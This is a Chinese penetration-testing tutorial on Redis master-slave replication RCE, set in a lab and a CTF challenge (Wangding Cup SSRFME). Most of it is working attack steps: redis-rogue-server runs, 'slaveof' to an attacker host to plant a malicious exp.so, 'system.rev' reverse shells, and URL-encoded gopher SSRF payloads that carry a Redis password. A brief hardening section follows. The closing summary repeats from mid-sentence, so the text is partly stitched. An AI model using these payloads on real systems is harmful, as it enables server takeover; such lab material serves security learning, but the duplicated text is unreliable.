简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
一、前言
数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到利用主从复制RCE、本地Redis主从复制RCE反弹shell、SSRF Redis
反弹shell、Redis知识拓展、Redis安全防护等操作,如果连Redis都不会安装操作提权等,怎么进行下一步的研究Redis数据库安全!怎么拿下对方服务器?
二、利用主从复制RCE
未授权的redis会导致GetShell,可以说已经是众所周知的了。
而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似:
这种主要利用了crontab、ssh
key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids
4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
简单的说,攻击者(主机)写一个so文件,然后通过FULLRESYNC(全局)同步文件到受害人(从机)上。
1、下载
https://github.com/n0b0dyCN/redis-rogue-server
//未授权
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
//有密码
目标靶机是不能开启保护模式,即下图设置才可以!
2、帮助
可看到exp执行方法!
3、执行反弹
1)执行反弹
python3 redis_rogue_server.py -rhost 192.168.253.27 -lhost 192.168.253.9 -passwd dayu123
Shell?
[i]interactive,[r]reverse:
有两种方式!2)开启监听
本地开启nc的6666监听端口!3)interactive交互
选择i,然后直接交互即可!!
4)选择reverse反弹shell
r
192.168.253.9
7777
python3 -c "import pty;pty.spawn('/bin/bash')"
成功获得交互shell!!
三、本地Redis主从复制RCE反弹shell
1、缺点
要说缺点,先明白上一部分的脚本执行的原理。上述的原理是,目标机器的redis可以被远程其他的机器登录。然后执行脚本内写死的一些命令,利用这些命令我们就可以执行系统命令。问题来了,假如目标机器仅仅允许本地进行登录的时候,上述利用就直接暴毙。这个时候,我们可以通过配合其他漏洞,从目标本地登录redis。然后手动执行脚本内写死的一些命令(这些命令的意思是将本机[靶机]redis作为从机,将攻击机器设置为主机,然后攻击机器会自动将一些恶意so文件同步给目标机器(从机)),从而来实现对目标机器的远程命令执行。
2、下载
https://github.com/n0b0dyCN/redis-rogue-server
//未授权
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
//有密码
将redis-rogue-server的exp.so文件复制到Awsome文件夹中使用,因为exp.so带system模块!
3、执行演示
1)kali开启监听
nc -lvnp 9999
新开一个窗口,来监听,接受会话的反弹!!
2)开启主服务器
python3 redis_rogue_server.py -v -path exp.so
开启15000端口的主服务器!
3)Redis主从同步
查看是否存在模块:
module list
可看到目前没有可用模块!主从同步:
config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.253.9 15000
slaveof 49.234.100.201 15000
//进行主从同步,将恶意so文件写入到tmp文件
//端口可以自定义
同步规则:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pvYAXGkC-1690788822044)(https://image.3001.net/images/20210718/1626568141_60f375cd3dd58936356fc.png!small?1626568149253)]
可看到主服务器上FULLRESYNC全局同步数据中!将恶意的exp.so同步到redis服务器上!
执行恶意模块:
module load ./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要是有没有“system”
可看到加载是成功的!!
反弹shell:
system.rev 192.168.253.9 9999
//执行反弹命令
可看到成功反弹shell,可以进行交互 !!
另外一种方式:
system.exec "id"
//当然也可以通过这种方式来执行系统命令
也可以直接执行命令!
关闭主从同步:
slaveof NO ONE
//关闭主从
本地redis服务器关闭,或者直接在主服务器关闭也行!
四、SSRF Redis 反弹shell
网鼎杯2020玄武组SSRFME题!
1、加载源码
index.php源码:
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
hint.php源码:
string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"
txt文本复制后改名为index.php,hint.php一样的操作!!
然后放入kali安装的宝塔目录下即可:
放入后在创建!!
1. 绕过 条件判断
2. 访问 hint.php文件获取reids密码
3. 利用ssrf gopher协议 打redis
4. redis 主从漏洞 反弹shell
2、绕过条件判断
1)绕过条件判断
访问http://192.168.253.66/index.php代码审计php发现存在本地条件判断绕过!
绕过:
?url=http://0.0.0.0/hint.php
绕过访问hint.php文件获取reids密码,经过测试该redis仅允许本地登录!!
3、开启主服务器
1)设置本地监听6379
2)开启主服务器
python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 192.168.253.9
开启主从复制漏洞进行攻击!
3、ssrf gopher联动redies拿shell
1)设置目录
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.253.67%252021000%250d%250aquit
执行:
成功设置导出的路径为tmp!
每次操作空格一下,这是提示操作以及同步!
设置导出文件名为exp.so!!
2)导入模块
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit
执行恶意exp.so进行主从交互!
3)关闭主从
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
4)导出数据库
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
5)反弹shell
本地开启监听:
检查步骤:
gopher://0.0.0.0:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%2520192.168.253.67%25208899%250d%250aquit
查看监听:
正常交互!
4、知识拓展
1)RESP协议
定义:
redis客户端与服务端通信,使用RESP(REdis Serialization Protocal,redis序列化协议)协议通信,该协议是专门为redis设计的通信协议,但也可以用于其它客户端-服务器通信的场景。RESP可以用于序列化不同的数据类型,
如:整型、字符串、数组…并且为错误提供专门的类型;客户端发送请求时,以字符串数组的作为待执行命令的参数。redis服务器根据不同的命令返回不同的数据类型。
支持协议:
RESP协议支持5种数据类型:
简单字符串(Simple Strings)
错误数据(Errors)
整数(Integers)
批量字符串(Bulk Strings)
数组(Arrays)
*3,代表数组的长度为3(类似[“set”,”name”,”Sn0w”]),
$4代表字符串的长度,就是Sn0w,
0d0a即\r\n表示结束符;
+OK表示服务端执行成功后返回的字符串
2)Gopher协议
定义:
在 http 出现之前,访问网页需要输入的是“ gopher://gopher.baidu.com/ ”,而不是 “
https://www.baidu.com/ ”,而它被代替的原因一方面是收费,另一方面的原因是它固化的结构没有HTML网页灵活。gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shell
协议格式:
gopher://127.0.0.1:70/ + TCP/IP数据,gopher的默认端口为70,``是一种数据连接格式,也可以是其他字符
协议的实现:
gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。
支持gopher协议的有 curl 和 libcurl:
使用curl来发起Gopher请求:
curl gopher://192.168.66.132:6379/_*2
$3
get
$4
name
生成gopher协议语句:
将其转换为gopher格式的数据传入,转换规则
Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
UNIX 只使用 LF(0a)
参考了很多师傅们的博客,都说是直接url编码即可,但应该确切一点是 url16进制加密.
gopher语句生成工具:
下载地址:
https://github.com/tarunkant/Gopherus
5、另外平台
buuoj平台:
https://buuoj.cn/
http://b4a188ec-67cd-4b40-b916-cc9b0e5c53c5.node3.buuoj.cn
需要重新创建小号!!
https://buuoj.cn/challenges
五、Redis安全防护
Redis的安全设置:设置完毕,需要重加载配置文件启动redis!!
1、绑定内网IP地址进行访问
2、requirepass 设置redis密码
3、保护模式开启 protected-mode 开启 (默认开启)
4、最好把端口更改
5、单独为redis设置一个普通账号 启动redis
从以上内容可以得知,安全是一个整体的概念。有一处出现差错都有可能影响全局。如一个redis的问题就可以让整台服务器被攻破。
六、总结
今天学到了利用主从复制RCE、本地Redis主从复制RCE反弹shell、SSRF Redis
反弹shell、Redis知识拓展、Redis安全防护的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)......
接下来在《服务攻防之数据库Mongodb(上)》会接触到如何进行介绍和Labs安装、在Kali-2021中安装MongoDB、学习Mongo
Shell等操作,如何提权渗透等方法,请看下篇服务攻防之数据库Mongodb上篇章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余
全局。如一个redis的问题就可以让整台服务器被攻破。
六、总结
今天学到了利用主从复制RCE、本地Redis主从复制RCE反弹shell、SSRF Redis
反弹shell、Redis知识拓展、Redis安全防护的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)......
接下来在《服务攻防之数据库Mongodb(上)》会接触到如何进行介绍和Labs安装、在Kali-2021中安装MongoDB、学习Mongo
Shell等操作,如何提权渗透等方法,请看下篇服务攻防之数据库Mongodb上篇章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余